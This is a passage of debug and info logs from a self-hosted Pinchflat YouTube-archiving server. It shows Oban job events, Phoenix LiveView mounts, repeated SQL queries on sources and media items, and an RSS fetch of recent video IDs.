{"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:23:26.900 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:41.380 [info] GET /sources/1 14:23:41.380 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 14:23:41.380 [debug] QUERY OK source="sources" db=0.1ms idle=604.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:23:41.381 [debug] QUERY OK source="media_profiles" db=0.0ms idle=605.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:23:41.386 [debug] QUERY OK source="tasks" db=4.7ms idle=605.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 14:23:41.386 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=610.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [670, 31] 14:23:41.386 [debug] QUERY OK source="settings" db=0.0ms idle=516.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:23:41.386 [debug] QUERY OK source="settings" db=0.0ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:23:41.386 [debug] QUERY OK source="settings" db=0.0ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:23:41.387 [debug] QUERY OK source="sources" db=0.0ms idle=1.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:23:41.391 [debug] QUERY OK source="media_items" db=4.1ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:23:41.395 [debug] QUERY OK source="media_items" db=3.6ms idle=5.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 14:23:41.395 [debug] QUERY OK source="sources" db=0.0ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:23:41.396 [debug] QUERY OK source="media_items" db=0.3ms idle=9.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 14:23:41.397 [debug] QUERY OK source="media_items" db=1.4ms idle=8.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 14:23:41.398 [debug] QUERY OK source="sources" db=0.0ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:23:41.398 [debug] QUERY OK source="media_items" db=0.5ms idle=2.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 14:23:41.400 [debug] QUERY OK source="media_items" db=1.8ms idle=3.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 14:23:41.401 [info] Sent 200 in 20ms 14:23:41.519 [info] CONNECTED TO Phoenix.LiveView.Socket in 25µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "LD8aSQIFBSBHHmM1IgUuZRs1F0wwCRoByly8ApZKjo7Gvk_1avyyROoW", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://tubedock.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://tubedock.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 14:23:41.525 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "UScqCu_k-qTrTnqTzCn5bFuV", "media_state" => "pending", "source_id" => 1} 14:23:41.525 [debug] QUERY OK source="sources" db=0.1ms idle=129.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:23:41.526 [debug] QUERY OK source="media_items" db=0.8ms idle=127.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:23:41.527 [debug] QUERY OK source="media_items" db=0.8ms idle=128.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 14:23:41.527 [debug] Replied in 2ms 14:23:41.527 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "UScqCu_k-qTrTnqTzCn5bFuV", "media_state" => "downloaded", "source_id" => 1} 14:23:41.527 [debug] QUERY OK source="sources" db=0.0ms idle=128.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:23:41.528 [debug] QUERY OK source="media_items" db=0.2ms idle=127.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 14:23:41.529 [debug] QUERY OK source="media_items" db=1.6ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 14:23:41.529 [debug] Replied in 2ms 14:23:41.530 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "UScqCu_k-qTrTnqTzCn5bFuV", "media_state" => "other", "source_id" => 1} 14:23:41.530 [debug] QUERY OK source="sources" db=0.0ms idle=3.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:23:41.531 [debug] QUERY OK source="media_items" db=0.7ms idle=3.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 14:23:41.532 [debug] QUERY OK source="media_items" db=0.9ms idle=3.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 14:23:41.532 [debug] Replied in 2ms 14:23:56.901 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.605 [info] {"source":"oban","duration":129,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:24:26.902 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:56.903 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.606 [info] {"source":"oban","duration":132,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:25:26.904 [info] {"source":"oban","duration":512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:56.905 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.608 [info] {"source":"oban","duration":109,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:26:26.906 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:56.907 [info] {"source":"oban","duration":480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.608 [info] {"source":"oban","duration":118,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:27:26.908 [info] {"source":"oban","duration":539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:56.909 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.612 [info] {"source":"oban","duration":132,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:28:26.910 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:56.912 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.613 [info] {"source":"oban","duration":151,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:29:26.914 [info] {"source":"oban","duration":484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:56.915 [info] {"source":"oban","duration":432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:00.613 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:30:26.916 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:30:47.310 [info] {"args":{"id":2},"id":669,"meta":{},"system_time":1784903447310783233,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:30:47.311 [debug] QUERY OK source="sources" db=0.9ms idle=535.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:30:47.312 [debug] QUERY OK source="tasks" db=1.0ms idle=535.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:30:47.312 [debug] QUERY OK source="settings" db=0.6ms idle=536.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:30:47.312 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:30:47.312 [debug] QUERY OK source="sources" db=0.7ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:30:47.312 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:30:47.312 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 14:30:47.442 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:30:47.442 [debug] QUERY OK source="media_items" db=0.2ms idle=130.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:30:47.443 [debug] QUERY OK source="media_items" db=0.2ms idle=130.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE 